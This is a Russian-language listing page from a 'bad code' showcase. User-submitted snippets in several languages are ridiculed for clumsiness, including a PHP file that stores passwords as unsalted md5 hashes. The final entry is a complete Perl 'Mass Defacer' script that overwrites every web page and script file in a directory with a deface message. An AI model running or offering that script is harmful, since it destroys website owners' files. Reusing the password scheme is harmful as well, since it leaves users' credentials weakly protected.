1. Лучший говнокод

    В номинации:
    За время:
  2. C++ / Говнокод #493

    +183

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    if( picturesArray.count() == 0 )
    {
        int i = 0;
        ++i;
        return;
    }

    guest, 02 Февраля 2009

    Комментарии (7)
  3. C++ / Говнокод #485

    +159.6

    1. 1
    2. 2
    3. 3
    4. 4
    //Make the Ahem font antialias correctly on Acid3
    
    String nameStr(fullName.get()); 
    m_allowFontSmoothing = (nameStr != "Ahem");

    Правильное сглаживание шрифтов в ACID3. WebKit.

    Отсюда: http://habrahabr.ru/blogs/code_wtf/50744/

    guest, 31 Января 2009

    Комментарии (7)
  4. PHP / Говнокод #467

    +182.1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    <?php
    /*
    * Список пользователей, имеющих доступ к добавлению новостей.
    * 
    * Каждая строка описывает одного польователяи имеет вид:
    * $USERS['имя_пользователя'] = md5('пароль');
    *
    * для большей безопасности можно вместо md5('пароль') вписать 
    * заранее вычисленную md5-сумму пароля, например, для пароля 'password':
    * $USERS['root'] = '5f4dcc3b5aa765d61d8327deb882cf99';
    
    */
    
    // У этих двух пользователей одинаковые пароли
    //$USERS['admin'] = md5('password');
    //$USERS['root'] = '5f4dcc3b5aa765d61d8327deb882cf99';
    $USERS['user1'] = md5('HSuekO');
    $USERS['user2'] = md5('parol2');
    $USERS['user3'] = md5('!rHyem23');
    $USERS['user4'] = md5('qwertY');
    $USERS['user5'] = md5('loveme');
    $USERS['user6'] = md5('!google!');
    ?>

    вот так пароль и хранятся )))

    guest, 27 Января 2009

    Комментарии (7)
  5. C# / Говнокод #455

    −14

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    uint i;
    …
    if (i.ToString().Length == 1)
    {
      ...
    }

    Не сразу можно понять, что в этом коде просто-напросто выполняется проверка i < 10. Алгоритм достаточно прост: выполняется преобразование i в строку, после чего вычисляется ее длина. Если число больше 9, то его десятичная запись содержит больше одного символа. Отрицательные числа переменная типа uint содержать не может. Проверку проходят лишь числа от 0 до 9.

    Алгоритм ресурсоемок, неочевиден и не поддается сопровождению даже теоретически.
    взято с lurkmore.ru, там вообще много про "индусский код"

    guest, 26 Января 2009

    Комментарии (7)
  6. JavaScript / Говнокод #413

    +46.3

    1. 1
    obj_.checked=(obj_.checked==true)?false:true;

    guest, 18 Января 2009

    Комментарии (7)
  7. Perl / Говнокод #404

    −386.1

    1. 1
    2. 2
    3. 3
    4. 4
    if ($ids eq $parent_old) {
    	$dgkjhgksdg++;
    	$newbasenosorted[$dgkjhgksdg]="$num|$b[0]";
    }

    Магазин построенный на файлах..

    guest, 16 Января 2009

    Комментарии (7)
  8. PHP / Говнокод #393

    +35.8

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    <?php
    function utf8_to_cp1251($text) {
    	$text = str_replace(chr(208),chr(208).chr(160),$text); # Р
    	$text = str_replace(chr(192),chr(208).chr(144),$text); # А
    	$text = str_replace(chr(193),chr(208).chr(145),$text); # Б
    	$text = str_replace(chr(194),chr(208).chr(146),$text); # В
    	$text = str_replace(chr(195),chr(208).chr(147),$text); # Г
    	$text = str_replace(chr(196),chr(208).chr(148),$text); # Д
    	$text = str_replace(chr(197),chr(208).chr(149),$text); # Е
    	$text = str_replace(chr(168),chr(208).chr(129),$text); # Ё
    	$text = str_replace(chr(198),chr(208).chr(150),$text); # Ж
    	$text = str_replace(chr(199),chr(208).chr(151),$text); # З
    	$text = str_replace(chr(200),chr(208).chr(152),$text); # И
    	$text = str_replace(chr(201),chr(208).chr(153),$text); # Й
    	$text = str_replace(chr(202),chr(208).chr(154),$text); # К
    	$text = str_replace(chr(203),chr(208).chr(155),$text); # Л
    	$text = str_replace(chr(204),chr(208).chr(156),$text); # М
    	$text = str_replace(chr(205),chr(208).chr(157),$text); # Н
    	$text = str_replace(chr(206),chr(208).chr(158),$text); # О
    	$text = str_replace(chr(207),chr(208).chr(159),$text); # П
    	$text = str_replace(chr(209),chr(208).chr(161),$text); # С
    	$text = str_replace(chr(210),chr(208).chr(162),$text); # Т
    	$text = str_replace(chr(211),chr(208).chr(163),$text); # У
    	$text = str_replace(chr(212),chr(208).chr(164),$text); # Ф
    	$text = str_replace(chr(213),chr(208).chr(165),$text); # Х
    	$text = str_replace(chr(214),chr(208).chr(166),$text); # Ц
    	$text = str_replace(chr(215),chr(208).chr(167),$text); # Ч
    	$text = str_replace(chr(216),chr(208).chr(168),$text); # Ш
    	$text = str_replace(chr(217),chr(208).chr(169),$text); # Щ
    	$text = str_replace(chr(218),chr(208).chr(170),$text); # Ъ
    	$text = str_replace(chr(219),chr(208).chr(171),$text); # Ы
    	$text = str_replace(chr(220),chr(208).chr(172),$text); # Ь
    	$text = str_replace(chr(221),chr(208).chr(173),$text); # Э
    	$text = str_replace(chr(222),chr(208).chr(174),$text); # Ю
    	$text = str_replace(chr(223),chr(208).chr(175),$text); # Я
    	$text = str_replace(chr(224),chr(208).chr(176),$text); # а
    	$text = str_replace(chr(225),chr(208).chr(177),$text); # б
    	$text = str_replace(chr(226),chr(208).chr(178),$text); # в
    	$text = str_replace(chr(227),chr(208).chr(179),$text); # г
    	$text = str_replace(chr(228),chr(208).chr(180),$text); # д
    	$text = str_replace(chr(229),chr(208).chr(181),$text); # е
    	$text = str_replace(chr(184),chr(209).chr(145),$text); # ё
    	$text = str_replace(chr(230),chr(208).chr(182),$text); # ж
    	$text = str_replace(chr(231),chr(208).chr(183),$text); # з
    	$text = str_replace(chr(232),chr(208).chr(184),$text); # и
    	$text = str_replace(chr(233),chr(208).chr(185),$text); # й
    	$text = str_replace(chr(234),chr(208).chr(186),$text); # к
    	$text = str_replace(chr(235),chr(208).chr(187),$text); # л
    	$text = str_replace(chr(236),chr(208).chr(188),$text); # м
    	$text = str_replace(chr(237),chr(208).chr(189),$text); # н
    	$text = str_replace(chr(238),chr(208).chr(190),$text); # о
    	$text = str_replace(chr(239),chr(208).chr(191),$text); # п
    	$text = str_replace(chr(240),chr(209).chr(128),$text); # р
    	$text = str_replace(chr(241),chr(209).chr(129),$text); # с
    	$text = str_replace(chr(242),chr(209).chr(130),$text); # т
    	$text = str_replace(chr(243),chr(209).chr(131),$text); # у
    	$text = str_replace(chr(244),chr(209).chr(132),$text); # ф
    	$text = str_replace(chr(245),chr(209).chr(133),$text); # х
    	$text = str_replace(chr(246),chr(209).chr(134),$text); # ц
    	$text = str_replace(chr(247),chr(209).chr(135),$text); # ч
    	$text = str_replace(chr(248),chr(209).chr(136),$text); # ш
    	$text = str_replace(chr(249),chr(209).chr(137),$text); # щ
    	$text = str_replace(chr(250),chr(209).chr(138),$text); # ъ
    	$text = str_replace(chr(251),chr(209).chr(139),$text); # ы
    	$text = str_replace(chr(252),chr(209).chr(140),$text); # ь
    	$text = str_replace(chr(253),chr(209).chr(141),$text); # э
    	$text = str_replace(chr(254),chr(209).chr(142),$text); # ю
    	$text = str_replace(chr(255),chr(209).chr(143),$text); # я
    	return $text;
    }
    ?>

    Функция переобразования кодировки

    guest, 14 Января 2009

    Комментарии (7)
  9. PHP / Говнокод #383

    +30.6

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    function dehtml($string) {
        $string = str_replace("&", "&amp;", $string);
        $string = str_replace("\"", "`", $string);
        $string = str_replace("'", "`", $string);
        $string = str_replace("<", "&lt;", $string);
                
        return $string;
    }

    собственно, автор данной функции не подазревает о том что str_replace умеет принимать массив значений, уже не говоря о наличии htmlspecialchars и других

    guest, 13 Января 2009

    Комментарии (7)
  10. PHP / Говнокод #343

    +27.5

    1. 1
    2. 2
    3. 3
    4. 4
    <?php
    if ("$payment_method" ==  "1") {
    
    ?>

    еще один шедевр, зачем так делать?

    guest, 08 Января 2009

    Комментарии (7)
  11. Perl / Говнокод #307

    −388

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    #!/usr/bin/perl -w 
    #Masss Defacer v2.0 
    # Coded By illuz1oN 
    # Creditz - Nostur 
    $def = 'YOUR LAME DEFACE PAGE HERE =)'; 
    {        print "[+]DEFACING...\n"; 
             print"[+]DEFACING .PHP FILES...\n"; 
    		 my @php = glob("*.php"); #Files 
         foreach my $deface(@php){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .HTML FILES...\n"; 
             my @html = glob("*.html"); #Files 
         foreach my $deface(@html){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .ASP FILES...\n"; 
    		 my @asp = glob("*.asp"); #Files 
         foreach my $deface(@asp){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .ASPX FILES...\n"; 
    		 my @aspx = glob("*.aspx"); #Files 
         foreach my $deface(@aspx){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .HTM FILES...\n"; 
    		my @htm = glob("*.htm"); #Files 
         foreach my $deface(@htm){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .JS FILES...\n"; 
    	my @js = glob("*.js"); #Files 
         foreach my $deface(@js){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
             print "[+]DEFACING .AC FILES...\n"; 
    		 my @ac = glob("*.ac"); #Files 
         foreach my $deface(@ac){ 
         open(DEFACE, '>', $deface); 
         print DEFACE $def || print "[-]Fxcked up: $!\n"; 
         close(DEFACE) 
      } 
      print "[+]Pages Should Be Defaced!\n"; 
     
    } 
    #Coded By illuz1oN 
    #Credits - Nostur!

    guest, 30 Декабря 2008

    Комментарии (7)